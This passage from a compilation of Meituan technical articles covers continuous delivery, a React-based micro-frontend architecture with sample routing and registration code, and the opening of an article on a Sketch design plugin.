有反馈这个环节，导致了整个交付流水线被阻塞的人，可能完全不知道自己造成了阻

塞。另外，在一个功能的交付过程中，可能会有多次提交代码、多次集成、多次测

试，如果每次是什么样的结果，都无法得到反馈，那么整个交付的风险会逐渐累积。
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只有将问题更早地反馈、更早地处理，才能有效地降低整个功能交付的风险。

持续分解改进

不管我们当前将整个交付的过程做到了多么高效，未来随着业务的发展，新成员的加

入和离开，交付的过程都在逐渐发生衍变。正如《谈谈持续集成，持续交付，持续部

署之间的区别》一文提到的“持续部署是理想的工作流”一样，想一劳永逸解决所有

问题是一种理想的工作状态。随着时间的推移，交付的过程会出现新的问题，交付的

效率又会开始逐渐下降。如果要长久地保持交付效率能够有持续的改善，我们需要不

断地对抽象的交付过程进行分析，层层剥离，将整个交付过程转变成一系列小而可以

解决的问题，然后持续地解决这些小问题。

4.2	关键步骤

针对上述原则，我们可以进一步地来指导外卖持续交付中的关键过程。通过前文所

讲，我们认为持续交付就是从产品同学收集到需求，提交到研发团队，最终形成稳定

https://www.jianshu.com/p/2c6ebe34744a
https://www.jianshu.com/p/2c6ebe34744a
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的产品交给用户手上的过程，针对这个过程主要细化包括：

提需求

持续交付启动的第一环对应的就是 PM 提需求。俗话说“万事开头难”，“提需求”看

似是一件容易的事情，其实背后是一个非常复杂的问题，涉及到策略选择、动态规

划、排队论等一系列的理论。往往在大部分的团队中，“提需求”被认为是最简单的

事情，这使得整个交付流程后续的工作，无法高效开展。

我们细分析下，需求根据大小可以分成大需求、小需求；根据优先级可以分成高、

中、低需求；根据开发的人员不同，又可以分成前端需求、后端需求、策略需求等

等。需求提出来后，怎么快速地判断出如何划分这个需求，需求的优先级是什么，需

求的上线时间怎么样，谁来做这个需求，这个需求会涉及到谁。在涉及到这个需求和

其他需求的比较时，才能回答刚才提到的问题，这又涉及到需求的定义，需求产出比

的基线问题。

在外卖的交付模型中，对于“提需求”，主要遵循的是组织管理原则，即以组织结构

为单位，当前组织下的 PM 给予当前组织下的 RD 提出需求，需求的优先级也以当

前组织下的事项进行综合考虑。这样的好处，不言而喻，比较敏捷。劣势是，当遇到

跨组织需求，工作成本会急剧增加。同时，我们通过交付模型，将提需求的时间点可

预见，在每次提需求的环节，严格要求每一组织下的需求给予明确的优先级。每次提

出的需求数量、需求评审时长标准化。并且配套标准的需求模板，让 PM 在提出需求

时，自我完成需求边界检查，需求涉及方的前置沟通。通过这样的组织管理手段、模

板管理手段、流程标准化手段，来尽可能地保证提需求的质量。

提代码

当单个 RD 同学认为已经基本完成了功能开发后，就会进入到提代码的环节，也可以

叫做代码集成环节。这个环节是个人行为和整体交付产生对接的环节。在这个环节我

们要确保个人的行为不影响整体的流水线的进行。
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如何保障？我们采用的手段主要是本地检查 +CI 检查 + 集成测试。当代码检查通过

后，代码的集成是自动完成，无需个人干预。不过，这里也存在一个矛盾点，如果本

地检查 +CI 检查项 + 集成测试项越来越多，检查的时间将会非常长，这将会使得每

次提交代码变得异常痛苦。而如何解决这个问题？最好的手段，我们认为是通过持续

优化代码的架构，来让每次 RD 的代码修改尽可能范围小。这样对于有特定范围的修

改，本次 CI 检查就存在可简化的可能性。

部署测试

当完成代码集成后，就需要进入到测试环节了。那首先我们需要将代码部署到测试环

境，因为外卖主要提供 App 供测试包，所以我们的部署，主要就是打出 App 包来，

周知 QA 测试。目前外卖的测试，分位一轮新功能测试、二轮全回归测试、三轮主流

程回归测试。新功能因为新引入，可能存在前置条件，而在本次测试的过程中，存在

需要编写自动化用例和人工测试的用例。但对于老功能，我们希望未来能够尽可能地

采用自动化为主的方式。

而在实践的过程中，我们发现自动化测试的一个很重要的前置条件是，数据和环境的

可配置性、稳定性。试想下，数据不稳定，一会返回是空，一会返回不为空，是没办

法自动化测试校验的。对于这个问题，目前我们的思路是通过建立各环节下根据标准

协议定义的 Mock 数据，将复杂的全链条，拆分成不同节点，在通过配置去控制数据

的环境。通过保障每个环节下的质量，来确保整体的质量。

线上监控

保障外卖业务正常线上运行，会需要监控多项的指标。对于如何做好线上监控，我们

的思路是设立好各项基线的标准基线，通过脚本获取线上的版本，当检测到新版本，

就会自动的创建当前版本的监控。当监控发现线上指标的值和设定的指标基线出现降

低时，发生报警行为。而自动化监控最需要考虑的是误报率的问题。版本的发布正常

通常又会分为 2 个阶段，灰度阶段和全量阶段。全量阶段量大，比较稳定，误报率较

低；而灰度阶段，量小，不稳定，容易出现误报。而解决这个问题，最好的办法是，
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本次灰度对比上一次灰度的指标，而非对比上一次全量的指标，维度一样，可以有效

地减少误报率。

5. 展望

当前，美团外卖业务仍然处于快速增长阶段，建立怎么样的流程、配套什么的技术手

段，才能满足在更短的周期内，高质量地交付业务，进而满足各个业务的发展呢？毫

无疑问，持续交付是解决这个问题的重要一环。但针对持续交付这个主题，美团外卖

也算是刚刚起步。

未来我们的建设主要集中在 2 个方向，精细化运营持续集成和建设自动化测试。如上

文所述，随着业务越来越复杂，涉及的角色越来越多，代码集成的管控需更加严格，

而严格的代码集成管控将增加团队成员每次提代码的痛苦。如何做到差异化的检查和

准入，将是未来持续集成的建设方向。
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我们可以针对不同类型的 PR，不同时间节点下的 PR，实施不同的差异化定制规则

检查，在合入质量和检查周期上寻找到一个合适的平衡点。另外对于测试环节，目前

美团外卖还是主要集中在人工保障环节，大量的测试 Case。我们希望未来能够尽可

能地采用自动化为主的方式进行测试，而让 QA 可以集中精力测试新功能或非常边界

异常的场景验证。

6. 参考文献
如何理解持续集成、持续交付、持续部署

谈谈持续集成、持续交付、持续部署的区别

持续交付 2.0：业务引领的 DevOps 精要
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微前端在美团外卖的实践

作者：张啸　魏潇　天尧

背景

微前端是一种利用微件拆分来达到工程拆分治理的方案，可以解决工程膨胀、开发维

护困难等问题。随着前端业务场景越来越复杂，微前端这个概念最近被提起得越来越

多，业界也有很多团队开始探索实践并在业务中进行了落地。可以看到，很多团队也

遇到了各种各样的问题，但各自也都有着不同的处理方案。诚然，任何技术的实现都

要依托业务场景才会变得有意义，所以在阐述美团外卖广告团队的微前端实践之前，

我们先来简单介绍一下外卖商家广告端的业务形态。目前，我们开发和维护的系统主

要包括三端：

 ● PC 系统：单门店投放系统 PC 端

 ● H5 系统：单门店投放系统 H5 端

 ● KA 系统：多门店投放系统 PC 端

如上图所示，原始解决方案的三端由各自独立开发和维护，各自包含所有的业务线，

而我们的业务开发情况是：

 ● PC 端和 H5 端相同业务线的基本业务逻辑一致，UI 差异大。

 ● PC 端和 KA 端相同业务线的部分业务逻辑一致，UI 差异小。
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在这种特殊的业务场景下，就会出现一个有关开发效率的抉择问题。即我们希望能复

用的部分只开发一次，而不是三次。那么接下来，就有两个问题摆在我们面前：

 ● 如何进行物理层面的复用（不同端的代码在不同地址的 Git 仓库）。

 ● 如何进行逻辑层面的复用（不同端的相同逻辑如何使用一份代码进行抽象）。

我们这里重点看一下物理层面的复用，即：如何在物理空间上使得各自独立的三端系

统（不同仓库）引入我们的复用层？我们尝试了 NPM 包、Git subtree 等类“共享文

件”的方式后发现，最有效率的复用方式是把三个系统放在一个仓库里，去消除物理

空间上的隔离，而不是去连接不同的物理空间。当然，我们三端系统的技术栈是一致

的，所以就进行了如下图的改造：

可以看到，当我们把三端系统放在一个仓库中时，通过 common 文件夹提供了物理

层面可复用的土壤，不再需要“共享文件”式地进行频繁地拉取操作，直接引用复用

即可。不过，在带来物理层面复用效率提升的同时，也加速了整个工程出现了爆炸式

发展的问题，随着产品线从最初的几个发展到现在的几十个之多，工程管理成本也在

迅速增长。具体来说，包括如下四个方面：

 ● 新业务线产品急速增加，同时为了保证三端系统复用效率的最大化，把文件

放入同一仓库管理，导致文件数量增长极快，管理及协同开发难度也在不断

加大。

 ● 文件越来越多，文件结构越不受控制，业务开发寻址变得越来越困难。

 ● 文件越来越多，开发、构建、部署速度变得越来越慢，开发体验在持续下降。
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 ● 不同业务线间没有物理隔离，出现了跨业务线互相引用混乱，例如 A 业务线出

现了 B 业务线名字的组件。

如下图所示，具体地说明了原有架构存在的问题。为了要解决这些问题，我们意识到

需要拆分这些应用，即进行工程优化的常规手段进行“分治”。那么要怎么拆呢？自

然而然地我们就想到了微前端的概念。也从这个概念出发，我们参考业界优秀方案，

同时也深度结合了广告端实际业务的开发情况，对现有工程进行了微前端的实践与

落地。

需求分析

结合现有工程的状况，我们进行了深度的分析。不过，在进行微前端方案确定前，我

们先确定了需求点及期望收益，如下表所示：

需求点 收益与要求

拆分解耦

（1）按业务领域拆分成不同的仓库进行维护，不同业务线的开发者更加独立，不同业

务线之间互不影响。（2）物理层面拆分，加速寻址，新增功能修改 Bug 更加迅速。（3）

逻辑层面拆分，杜绝引用混乱，不会出现 A 业务线引用 B 业务线组件的情况。

加速体验 （1）开发环境急速启动，提高开发体验。（2）业务线按需打包，急速部署上线。
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需求点 收益与要求

侵入性低
微前端方案改动原有代码的侵入性降到最小，无需大规模改造，减少甚至消除回归测

试的成本。

学习成本低 开发人员无需感知拆分的存在，保持单页应用的开发体验，不需要学习额外的规则。

统一技术栈
为了统一共建与技术沉淀，团队内工程已经统一到了 React 技术栈，禁止使用不同的

技术栈进行开发。

方案选择

经过以上的需求分析，我们调研了业界及公司周边的微前端方案，并总结了以下几种

方案以及它们各自主要的特点：

 ● NPM式：子工程以 NPM 包的形式发布源码；打包构建发布还是由基座工程

管理，打包时集成。

 ● iframe式：子工程可以使用不同技术栈；子工程之间完全独立，无任何依赖；

基座工程和子工程需要建立通信机制；无单页应用体验；路由地址管理困难。

 ● 通用中心路由基座式：子工程可以使用不同技术栈；子工程之间完全独立，无

任何依赖；统一由基座工程进行管理，按照 DOM 节点的注册、挂载、卸载来

完成。

 ● 特定中心路由基座式：子业务线之间使用相同技术栈；基座工程和子工程可以

单独开发单独部署；子工程有能力复用基座工程的公共基建。

通过对各个方案特点进行分析，我们将重点关注项进行了对比，如下表所示：

方案
技术栈是否

能统一

单独

打包

单独

部署

打包部

署速度

单页应

用体验

子工程切

换速度

工程间通

信难度

现有工程

侵入性

学习

成本

NPM 式 是（不强制） 否 否 慢 是 快 正常 高 高

iframe 式 是（不强制） 是 是 正常 否 慢 高 高 低

通用中心路

由基座式
是（不强制） 是 是 正常 是 慢 高 高 高

特定中心路

由基座式
是（强制） 是 是 快 是 快 正常 低 低

经过上面的调研对比之后，我们确定采用了特定中心路由基座式的开发方案，并命名

为：基于React 的中心路由基座式微前端。这种方案的优点包括以下几个方面：
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 ● 保证技术栈统一在 React。

 ● 子工程之间开发互相独立，互不影响。

 ● 子工程可单独打包、单独部署上线。

 ● 子工程有能力复用基座工程的公共基建。

 ● 保持单页应用的体验，子工程之间切换不刷新。

 ● 改造成本低，对现有工程侵入度较低，业务线迁移成本也较低。

 ● 开发子工程和原有开发模式基本没有不同，开发人员学习成本较低。

微前端实践概览

通过对方案的分析及技术方向上的梳理，我们确定了微前端的整体方案，如下图

所示：
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可以看到，整个方案非常简单明确，即按照业务线进行了路由级别的拆分。整个系统

可分为两个部分：

 ● 基座工程：用于管理子工程的路由切换、注册子工程的路由和全局 Store 层、

提供全局库和复用层。

 ● 子工程：用于开发子业务线业务代码，一个子工程对应一个子业务线，并且包

含三端代码和复用层代码。

基座工程和子工程联系起来的桥梁则是子工程的入口文件地址和路由地址的映射信

息。这些映射信息可以让基座工程准确地发现子工程资源的路径从而进行加载。

微前端架构下的业务变化

经过微前端实践的改造，我们的业务在结构上发生了如下的变化：

如上图所示，我们进行了微前端式的业务线拆分：

 ● 原有的 PC 系统、H5 系统、KA 系统分别改造成了 PC 基座系统、H5 基座系

统和 KA 基座系统。

 ● 原有的子业务线被拆分成了单独的子仓库，成为了业务线子工程（上图中 6 个

黑框竖列）。
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 ● 业务线子工程分别包含 PC 端、H5 端、KA 端以及该业务线复用层的代码（上

图中 3 个纯色背景横列）。

新的拆分使得子工程能够按照业务线进行划分，独立维护。在解决复用层的同时保证

了子工程大小可控，即子工程只有单个业务线的代码。而单个业务线的复杂度并不

高，也降低了工程维护的复杂度。

采用微前端拆分的方案，使得我们的业务不仅在纵向上保有了复用的能力，更重要的

是拥有了横向扩展的能力，无论产品业务线如何膨胀，我们都可以更轻松地应对。那

么为了实现以上的能力，我们做了哪些工作呢？下文我们会详细进行说明。

基于 React 技术栈的中心路由基座式微前端

微前端拆分的方案，我们命名为：基于 React 技术栈的中心路由基座式微前端。在具

体实现上，我们会分为动态化方案、路由配置信息设计、子工程接口设计、复用方案

设计和流程方案设计等几个模块来逐一进行说明。

动态化方案

首先，我们需要路由的管理方案，使得子工程之间有能力互通切换。其次，我们需要

Store 层的方案，让子工程有能力使用全局 Store。并且，我们还需要 CSS的加载

方案，来加载子工程的样式布局。下面来详细说明这三个方案。

动态路由

动态路由方案是想要进行路由级别的拆分，首先我们要确定用什么来管理路由？很

多实现方案倾向于使用特制路由来管理模块。例如开源框架 Single-Spa，实现了自

己的一套路由监听来切换子工程，并且需要子工程实现特定的注册、挂载、卸载等接口

来完成子工程和基座工程的动态对接，还需要特定的模块管理系统，例如 systemjs 来

辅助完成这一过程。毋庸置疑，这对我们原有工程的改造成本很大，还需要添加额

外库，进而造成包体积大小上的开销。并且子工程的开发者需要熟悉这些特定的接

口，学习成本也比较高。显然，这对于我们的业务场景和需求来说很不划算。



158　>　美团 2020 技术年货

那么，我们选择什么来做路由管理呢？最终我们使用了 React-Router，这样能够

保持我们原来的技术栈不变，同时对于工程的侵入也是最低，几乎可以忽略不计。此

外，React-Router 能完全可以满足我们的需求，而且自动会帮助我们管理页面的加

载与卸载，而不是每次切换路由都重新初始化整个子应用，所以在加载速度体验上也

是最优的，跟单页应用体验一致。

实现上也很简单，如下图：

上面这个流程图，展示了我们在基座工程中切换到子工程路由时，加载子工程并进行

展示的过程。这里的重点步骤是加载子工程入口文件，并动态注册子工程路由的过

程。由于我们使用的是 React-Router，显然要使用其提供的动态能力来完成。这一

过程也非常轻量，由于 React-Router 从版本 4 开始有了“破坏级”的升级，于是

我们就调研了两种方式进行动态加载路由（目前我们使用的是 React-Router 版本

5），如下表所示：

React-Router	

版本
动态加载方式

3 利用 Route 的 getChildRoutes 的 API 异步加载路由。

4 及以上

版本 4 及以上，React-Router 在实现思路上有了非常大的变动，即不再以提

前注册路由的集中式路由为设计理念，转变成路由即组件的思路。对于动态加

载路由来说，就是动态加载组件，使得我们的动态加载更加容易实现，无须依

赖任何 API，只需写一个异步组件即可。
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React-Router 版本 3 中，实现的基本代码思路如下：

// react-router V3 用于接收子工程的路由
export default () => (
    <Route
        path="/subapp"
        getChildRoutes={(location: any, cb: any) => {
            const { pathname } = location.location;
            // 取路径中标识子工程前缀的部分 , 例如 '/subapp/xxx/index' 其中
xxx即路由唯一前缀
            const id = pathname.split('/')[2];
            const subappModule = (subAppMapInfo as any)[id];
            if (subappModule) {
                if (subappRoutes[id]) {
                    // 如果已经加载过该子工程的模块，则不再加载，直接取缓存的
routes
                    cb(null, [subappRoutes[id]]);
                    return;
                }
                // 如果能匹配上前缀则加载相应子工程模块
                currentPrefix = id;
                loadAsyncSubapp(subappModule.js)
                    .then(() => {
                        // 加载子工程完成
                        cb(null, [subappRoutes[id]]);
                    })
                    .catch(() => {
                        // 如果加载失败
                        console.log('loading failed');
                    });
            } else {
                // 可以重定向到首页去
                goBackToIndex();
            }
        }}
    />
);

而在 React-Router 版本 4 中，实现的基本代码思路如下：

export const AyncComponent: React.FC<{ hotReload?: number; } & 
RouteComponentProps> = ({ location, hotReload }) => {
    // 子工程资源是否加载完成
    const [ayncLoaded, setAyncLoaded] = useState(false);
    // 子工程 url配置信息是否加载完成
    const [subAppMapInfoLoaded, setSubAppMapInfoLoaded] = 
useState(false);
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    const [ayncComponent, setAyncComponent] = useState(null);
    const { pathname } = location;
    // 取路径中标识子工程前缀的部分 , 例如 '/subapp/xxx/index' 其中 xxx即路由
唯一前缀
    const id = pathname.split('/')[2];
    useEffect(() => {
        // 如果没有子工程配置信息 , 则请求
        if (!subAppMapInfoLoaded) {
            fetchSubappUrlPath(id).then((data) => {
                subAppMapInfo = data;
                setSubAppMapInfoLoaded(true);
            }).catch((url: any) => {
                // 失败处理
                goBackToIndex();
            });
            return;
        }
        const subappModule = (subAppMapInfo as any)[id];
        if (subappModule) {
            if (subappRoutes[id]) {
                // 如果已经加载过该子工程的模块，则不再加载，直接取缓存的 routes
                setAyncLoaded(true);
                setAyncComponent(subappRoutes[id]);
                return;
            }
            // 如果能匹配上前缀则加载相应子工程模块
            // 如果请求成功，则触发 JSONP钩子 window.wmadSubapp
            currentPrefix = id;
            setAyncLoaded(false);
            const jsUrl = subappModule.js;
            loadAsyncSubapp(jsUrl)
                .then(() => {
                    // 加载子工程完成
                    setAyncComponent(subappRoutes[id]);
                    setAyncLoaded(true);
                })
                .catch((urlList) => {
                    // 如果加载失败
                    setAyncLoaded(false);
                    console.log('loading failed...'); 
                });
        } else {
            // 可以重定向到首页去
            goBackToIndex();
        }
    }, [id, subAppMapInfoLoaded, hotReload]);
    return ayncLoaded ? ayncComponent : null;
};
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可以看到，这种方式实现起来非常简单，不需要额外依赖，同时满足了我们“拆分”

的诉求。

动态Store

对于 Store 层，我们原工程使用的是 Redux，子工程通过路由动态注册进来天然就

可以访问到全局 Store，所以对于 Store 的访问能够自动支持。那么，如果子工程

想要注册自己的全局 Store 该怎么办呢？而且我们还用了 redux-saga 来作为异步

处理方案。redux-saga 如何动态注册呢？还是利用它们各自的 API 就可以达到

我们的目的？从下图中可以看到，支持动态 Store 也是花费很小的改造成本就可

以完成。

动态CSS

同样的对应子工程的样式布局，我们也需要通过某种途径加载到基座工程中来。这个

很自然地用异步加载 CSS 文件通过 style 标签注入来完成，不过这里需要注意两个

问题：
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一个问题是，加载子工程的 JS 入口文件和 CSS 文件可以同时发起请求，但是需要

保证 CSS 文件加载完成后再进行 JS 入口文件的路由注册。因为如果路由先注册了

页面就会显示出来，如果这时 CSS 文件还没有加载完毕，就会出现页面样式闪动的

问题。我们通过先加载 CSS 再加载 JS 的策略来避免这个问题的发生。

另 一 个 问 题 是， 怎 么 保 证 子 工 程 的 CSS 不 会 和 其 他 子 工 程 冲 突。 我 们 利 用

PostCSS 插件在编译子工程时，按照分配给子工程的唯一业务线标识，为每一组

CSS 规则生成了命名空间来解决这个问题。而子业务线开发者是没有感知的，可以

没有“心智负担”地书写子工程的样式。

路由配置信息方案

在动态加载方案确定之后，基座工程怎么才能知道子工程的资源路径，进而加载对

应的 JS 和 CSS 资源呢？我们需要一组映射信息。如下图所示，业务线唯一标识为

Key，相应的静态资源地址为 Value。这样的话，当基座工程切换到子工程时就可

以拉取这个配置信息，在路由切换时准确地找到对应的子工程，进而进行后续的

资源加载过程。这里可能会遇到的一个问题，即如果 JS 和 CSS 过大，是否能进

行拆分？

根据我们业务的实际情况，目前静态资源的大小是可控的，无需注册多个，单一入口
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地址完全能够满足我们的业务需求，并且由于我们的改造完全基于现有技术栈。如

果业务很复杂，完全可以在子工程中通过 webpack 的动态 import 进行路由懒加载，

也就是说，子工程完全可以按照路由再次切分成 chunks 来减少 JS 的包体积。至于

CSS 本身就很小，长期也不会有进行切分的需要。

子工程接口方案

子工程需要暴露它要注册给基座工程的对象，来进行基座工程加载子工程的过程。在

子工程入口文件中定义 registerApp 来传递注册的对象，主要代码如下：

import reducers from 'common/store/labor/reducer';
import sagas from 'common/store/labor/saga';
import routes from './routes/index';
function registerApp(dep: any = {}): any {
    return {
        routes, // 子工程路由组件
        reducers, // 子工程 Redux的 reducer
        sagas, // 子工程的 Redux副作用处理 saga
    };
}
export default registerApp

我们这里暴露了子工程的三个对象：这里最重要的就是 routes 路由组件，就是在写

React-Router（版本 4 及以上）的路由。子工程开发者只需要配置 routes 对象即

可，没有任何学习成本，其代码如下：

/**
 * 子工程路由注册说明
 * 如注册的路由如下：
 * path: 'index'
 * 路由前缀会被追加上，路由前缀规则见变量 urlPrefix
 * 在主工程的访问路劲为：/subapp/${工程注册名称 }/index
 */
const urlPrefix = `/subapp/${microConfig.name}/`;
const routes = [
    {
        path: 'index',
        component: IndexPage,
    },
];
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const AppRoutes = () => (
    <Switch>
        {
            routes.map(item => (
                <Route
                    key={item.path}
                    exact
                    path={`${urlPrefix}${item.path}`}
                    component={item.component}
                />
            ))
        }
        <Redirect to="/" />
    </Switch>
);
export default AppRoutes;

除了上方的 routes 对象，还剩下两个接口对象是：reducers 和 sagas，用于动态注

册全局 Store 相关的数据和副作用处理。这两个接口我们在子工程中暂时没有开放，

因为按照业务线拆分过后，由于业务线间独立性很强，全局 Store 的意义就不大了。

我们希望子工程可以自行处理自己的 Store，即每个业务线维护自己的 Store，这里

就不再展开进行说明了。

复用方案

基座工程除了路由管理之外，还作为共享层共享全局的基建，例如框架基本库、业务

组件等。这样做的目的是，子业务线间如果有相同的依赖，切换的时候就不会出现重

复加载的问题。例如下面的代码，我们把 React 相关库都以全局的方式导出，而子

工程加载的时候就会以 external 的形式加载这些库，这样子工程的开发者不需要额

外的第三方模块加载器，直接引用即可，和平时开发 React 应用一致，没有任何学

习成本。而和各个业务都相关的公用组件等，我们会放到 wmadMicro 的全局命名空

间下进行管理。主要代码如下：

import * as React from 'react';
import * as ReactDOM from 'react-dom';
import * as ReactRouterDOM from 'react-router-dom';
import * as Axios from 'axios';
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import * as History from 'history';
import * as ReactRedux from 'react-redux';
import * as Immutable from 'immutable';
import * as ReduxSagaEffects from 'redux-saga/effects';
import Echarts from 'echarts';
import ReactSlick from 'react-slick';
 
function registerGlobal(root: any, deps: any) {
    Object.keys(deps).forEach((key) => {
        root[key] = deps[key];
    });
}
registerGlobal(window, {
    // 在这里注册暴露给子工程的全局变量
    React,
    ReactDOM,
    ReactRouterDOM,
    Axios,
    History,
    ReactRedux,
    Immutable,
    ReduxSagaEffects,
    Echarts,
    ReactSlick,
});
export default registerGlobal;

流程方案

在确定了程序拆分运行的整体衔接之后，我们还要确定开发方案、部署方案以及回滚

方案。我们如何开始开发一个子工程？以及我们如何部署我们的子工程？

开发流程

有两种开发方案可以满足独立开发的目的：第一种是提供一个基座工程的 Dev 环境，

子工程在本地启动后在 Dev 环境进行开发，这种开发方式要求有一套基座工程的更

新机制，例如基座工程更新后要同步部署到 Dev 环境。第二种是子工程开发者拉取

基座工程到本地并启动本地开发环境，然后拉取子工程到本地，再启动子工程本地开

发环境进行开发，这种开发方式是目前我们使用的方式。如下图所示，我们提供了子

工程脚手架来快速创建子工程，开发者无需做任何配置和额外学习成本，就可以像开
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发 React 应用一样进行开发。

热更新

在开发过程中，我们希望我们的开发体验和开发单页应用的体验一致，也要支持热

更新。由于我们的拆分，实际上有两个服务，即基座和子工程，所以我们以上图的

方式完成了热更新的支持：在子工程的 module.hot 中通过再次触发基座工程中的

JSONP 钩子来通知基座工程，来再次触发 renderApp 达到子工程更新代码则页面

热刷新的目的。主要代码如下：

// 在子工程入口文件
import routes from './routes/index';
function registerApp(dep: any = {}): any {
    return {
        routes,
    };
}
if ((module as any).hot) {
    (module as any).hot.accept('./routes/index', (): any => {
        window.wmadSubapp(registerApp, true); // 支持子工程热加载的信息传递
    });
}
export default registerApp
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Mock数据

子工程目前 Mock 数据的方式有三种：一是在基座本地 Mock，这种 Mock 方式天然

支持，因为基座工程基于外卖工程化 Nine 脚手架进行开发，本身支持本地 Mock。

二是支持子工程本地 Mock。三是使用公共 Mock 服务 YAPI。目前子工程开发的

Mock 功能结合第一种方式和第三种方式进行。

部署方案

最后是部署方案，我们达成了独立部署上线的目的，即子工程发布不需要基座工程的

参与。之前所有子业务线都在一个工程中，打包速度随着业务线的膨胀越来越慢，而

如下的方案使得子工程的开发和部署完全独立，单个业务线的打包速度会非常快，从

之前的分钟级别降到了秒级别。如下图所示，可以看到，子工程部署只需要把子工程

打包，并在上传 CDN 之后，把配置信息更新即可，因为配置信息中有子工程新的资

源地址，这样就达到了发布上线的目的。

整个部署过程我们是托管到 Talos（美团内部自研的部署工具）上的，配置信息我们

是托管到 Portm（美团内部自研的文件存储）上的（通过我们开发的 Talos 的插件
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UpdatePubInfo-To-Portm 来更新我们的配置信息）。在静态资源上传到 CDN 之

后，就可以更新配置信息，供主工程调用，也就完成了子工程上线的过程。利用美团

现有服务，我们很迅速地完成了子工程单独部署上线的整个流程。

回滚方案

在部署方案中，我们通过 Talos 进行部署，它本身就带有回滚功能。得益于子工程的

发布和普通工程的发布并没什么本质不同，都是将静态资源放置到 CDN 上，通过静

态资源的的 contenthash 值来区分不同版本，所以回滚的时候，Talos 取到上个版

本（或者某个前版本）的静态资源，再通过 Portm 更新我们的配置信息即可完成。整

个过程和普通工程没有区别，发版人员只需简单地点下回滚按钮即可。

监控方案

改变了原有的开发模式后，我们还对几个关键节点进行了监控报警的埋点。利用美团

CAT（已经在 GitHub 上开源）和天网（美团内部的监控系统），我们分别在子工程的

配置信息、静态资源加载等节点上进行了埋点上报，统计子工程加载成功率，及时发

现可能出现的子工程切换问题。具体情况如下图所示：
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上方左图是按照端维度进行统计的示例，上方右图是 PC 端按照产品线统计加载成功

数的示例。默认都是统计当天的数据，显示‘-’的表明当前没有数据。对资源加载

的监控目前有三种类型：JSON、JS 和 CSS，资源加载失败的统计也包含这三种类

型。天网的监控按照分钟级进行，每分钟内如果有加载失败就会发出报警，偶尔的报

警可能是用户网络的问题，如果出现大批量的报警就要引起重视了。

总结

以上就是微前端在外卖商家广告端的实践过程。总的来说，我们完成了以下的目标：

 ● 按照领域（业务线）拆分工程，工程的可维护性得到提高，相关领域进行了内

聚，无关领域进行了解耦。

 ● 子工程提供了 PC、H5、KA 三端的物理复用土壤，消除了工程膨胀问题，工

程大小也变得可控。

 ● 子工程打包速度从分钟级降为秒级，提高了开发体验，加快了上线的速度。

 ● 子工程开发支持热更新，开发体验不降级。

 ● 子工程能够单独开发、单独部署、单独上线，业务线间互不影响。

 ● 整体工程改造成本低，插拔式开发，无侵入式代码，在正常业务开发的同时短

期内就可以完成上线。

 ● 开发者学习成本低，完整地保留了单页应用开发的开发体验，开发者可快速上手。

 ● 目前在美团广告端，以微前端模式上线的子业务线已经有很多个。另外还有多

个正在开发的微前端子工程，剩余在主工程中的子业务线后续也可以无痛迁移

出来成为子工程。我们内部也在此过程中搜集了不少意见反馈，未来继续在实
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践中进行思考和完善。在此过程中，我们深知还有很多做得不够完善甚至存在

问题的地方，欢迎大家跟我们进行交流，帮我们提出宝贵意见或者给予指导。

当然也欢迎大家加入我们团队，一起共建。

作者简介
张啸、魏潇、天尧，均为美团外卖前端团队研发工程师。

招聘信息
美团外卖广告前端团队诚招高级前端开发、前端开发专家。我们为商家提供变现服务平台，为

用户提供优质广告体验，是外卖商业变现中的重要环节。欢迎各位小伙伴的加入，共同打造极

致广告产品。感兴趣的同学可投递简历至：tech@meituan.com（邮件标题注明：美团外卖广告

前端团队）
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积木Sketch 插件进阶开发指南

作者：韩洋　思琪　李肖　彦平

 The fewer sources of truth we have for a design system, the more 

efficient we are.——Jon Gold

 设计系统的真理来源越少，效率就越高。——Jon Gold，知名全栈设计师

背景

1.	积木工具链体系

前段时间我们在美团技术团队公众号上发表了《积木 Sketch Plugin：设计同学的贴

心搭档》一文，不曾想到，这个仅在美团外卖 C 端使用的插件受到了更多的关注，美

团多个业务团队纷纷向我们抛出“橄榄枝”，表示想要接入以及并表达了愿意共同开

发的意向，其它互联网同行也纷纷询问相关的技术，一时让我们有些“受宠若惊”。

回想起写第一篇文章的时候，我们的内心还是有些不安的。作为 UI 同学的一个设计

工具，有些 RD 甚至没有听说过 Sketch 这个名字，我们很认真地修改过上一篇文章

的每一句措辞，争取让内容更丰富有趣，当时还很担心不会被读者接受。

积木 Sketch 插件的“意外走红”，确实有些出乎我们的意料，但正是如此，才让我们

知道 UI 一致性是绝大部分开发团队面临的共性问题，大家对落地设计规范，提高 UI

中台能力，提升产研效率都有着强烈的诉求。为了帮助更多团队提升产研效率，我们

成立了袋鼠 UI 共建项目组，将门户建设、工具链建设以及组件建设统一管理统一规

划，并将工具链的品牌确定为“积木”，而积木 Sketch 插件便是其中重要的一环。

https://tech.meituan.com/2020/05/21/waimai-sketch-plugin.html
https://tech.meituan.com/2020/05/21/waimai-sketch-plugin.html
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积木品牌 Logo

我们通过建立包含相同设计元素的统一物料市场，PM 通过 Axure 插件拾取物料市场

中的组件产出原型稿；UI/UE 通过 Sketch 插件落地物料市场中的设计规范，产出符

合要求的设计稿；而物料市场中的组件又与 RD 代码仓库中的组件一一对应，从而形

成了一个闭环。未来，我们希望通过高保真原型输出，可以给中后台项目、非依赖体

验项目提供更好的服务体验，赋予产品同学直接向技术侧输出原型稿的能力。

袋鼠 UI 工具链体系

2.	积木插件平台化

伴随着“积木”品牌的确立，越来越多的团队希望可以接入积木 Sketch 插件，其中

部分团队也在和我们探讨技术合作的可能性。UI 设计语言与自身业务关联性很强，不

同业务的色彩系统、图形、栅格系统、投影系统、图文关系千差万别，其中任意一环

的缺失都会导致一致性被破坏，业务方都希望通过积木插件实现设计规范的落地。为
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了帮助更多团队的 UI 同学提升设计效率，节约 RD 同学页面调整的时间，同时也让

App 界面具有一致性，从而更好地传达品牌主张和设计理念，我们决定对积木插件进

行平台化改造。平台化是指积木插件可以接入各个业务团队的整套设计规范，通过平

台化改造，可以使积木插件提供的设计元素与业务强关联，满足不同业务团队的设计

需求。

积木 Skecth Plugin 平台化示意

积木插件原本只是外卖提升 UI/RD 协作效率的一次尝试，最初的目标仅是 UI 一致

性，但是现在已经作为全面提升产研效率的媒介，承载了越来越多的功能。围绕设计

日常工作，提供高效的设计元素获取方式，让工作变得更轻松，是积木的核心使命。

如何推动设计规范落地，并且输出到各个业务系统灵活使用，是我们持续追寻的答

案。而探寻研发和设计更为高效的协作模式也是我们一直努力的方向。

通过一段时间的平台化建设，目前美团已经有 7 个设计团队接入了积木插件，覆盖了

